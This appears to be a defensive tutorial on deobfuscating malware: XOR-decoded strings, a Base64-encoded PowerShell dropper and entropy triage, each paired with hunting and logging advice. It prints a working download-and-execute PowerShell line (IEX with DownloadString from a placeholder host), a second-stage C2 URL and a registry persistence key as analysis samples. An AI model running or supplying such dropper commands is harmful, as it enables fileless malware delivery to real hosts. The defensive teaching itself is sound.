In 2025, the Lumma Stealer campaign used layered PowerShell obfuscation to bypass endpoint detection on thousands of Windows hosts — the payload never touched disk in a recognizable form. Defenders who caught it weren’t smarter than the malware; they knew exactly what obfuscation patterns to look for. Here’s what those patterns look like and how you strip them away.
XOR Encoding: The Attacker’s Duct Tape
XOR encoding is the most common obfuscation primitive you’ll encounter. The attacker XORs a payload byte-by-byte against a key, producing a blob that looks like garbage. At runtime, the loader XORs it again with the same key to recover the original shellcode. Simple. Effective against signature scanners.
Suppose you’ve pulled a suspicious binary off a compromised host ws-finance-04.corp.local. You run it through FLOSS (FireEye Labs Obfuscated String Solver) to extract strings the deobfuscation routines would produce at runtime:
$ floss --no-static-strings suspicious.bin
[+] FLOSS decoded 3 strings
Offset String
------ ------
0x1a3c http://192.0.2.47/stage2/payload.bin
0x1b10 cmd.exe /c whoami
0x1b88 SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Three strings the static scanner never saw. The first is the C2 URL pulling down a second-stage payload. The second is a recon command the malware runs immediately after execution. The third is a persistence key — this thing is writing itself to the registry Run hive to survive reboots.
Now you know three things an attacker would do next: reach out to 192.0.2.47, run a quick recon command, and establish persistence. Your next move as a defender: block 192.0.2.47 at the perimeter, search your SIEM for any host that has already contacted it, and hunt that registry key across your fleet.
PowerShell Obfuscation: Layers on Layers
PowerShell obfuscation is a different beast. Attackers abuse the language’s own flexibility — backtick insertion, string concatenation, Base64 encoding, Invoke-Expression aliases — to turn readable code into an unrecognizable wall of characters. The Invoke-Obfuscation toolkit can produce dozens of variants of the same command, each bypassing different detection rules.
Here’s what a Base64-encoded PowerShell dropper looks like when you first pull it from a phishing email attachment on user jmorales@corp.local‘s machine:
powershell.exe -NoP -NonI -W Hidden -Enc
SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAwAC4AMgAuADEAMgA3AC8AZAByAG8AcABwAGUAcgAuAHAAcwAxACcAKQA=
Decode that Base64 string using CyberChef or a one-liner and you get:
$ echo "SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAwAC4AMgAuADEAMgA3AC8AZAByAG8AcABwAGUAcgAuAHAAcwAxACcAKQA=" | base64 -d
IEX (New-Object Net.WebClient).DownloadString('http://192.0.2.127/dropper.ps1')
IEX is Invoke-Expression — it executes whatever string it receives. This one-liner downloads a remote PowerShell script from 192.0.2.127 and runs it in memory without writing anything to disk. Classic fileless execution.
What would the attacker do next? The dropper at that URL likely loads a Cobalt Strike beacon or similar implant directly into a PowerShell process. What you do next: pivot to your EDR, search for any PowerShell process that spawned a network connection to 192.0.2.127, and check for child processes like rundll32.exe or mshta.exe that indicate in-memory payload injection. Enable PowerShell Script Block Logging (Group Policy: Computer Configuration > Administrative Templates > Windows Components > Windows PowerShell) if it isn’t already on — it logs the deobfuscated code after PowerShell processes it, defeating the entire encoding layer.
Defeating Obfuscation at Scale: Entropy Scanning
Manual analysis doesn’t scale. When you need to triage hundreds of files, entropy scoring is your first filter. Heavily obfuscated or encrypted blobs have high Shannon entropy — close to 8.0. Normal executables sit around 4.5 to 6.5. The tool Detect-It-Easy (DIE) or even a quick Python script will flag the outliers fast.
$ python3 -c "
import math, sys
data = open('suspicious.bin','rb').read()
freq = [data.count(bytes([b])) for b in range(256)]
entropy = -sum((f/len(data))*math.log2(f/len(data)) for f in freq if f)
print(f'Entropy: {entropy:.4f}')
"
Entropy: 7.9821
An entropy score of 7.98 screams packed or encrypted content. That’s your signal to push the file into a sandbox like ANY.RUN or Cape Sandbox and let it execute in isolation. The sandbox unpacks it dynamically and hands you the memory dump — the real payload with no obfuscation left.
What To Do Now
Enable PowerShell Script Block Logging on every Windows endpoint in your environment today. It’s a single Group Policy change, it’s free, and it single-handedly defeats Base64 and string-concatenation obfuscation by logging the decoded commands PowerShell actually runs. Check your SIEM tomorrow for any EventID 4104 entries containing IEX, DownloadString, or Invoke-Expression — if you find them, you have active hunting leads waiting for you right now.
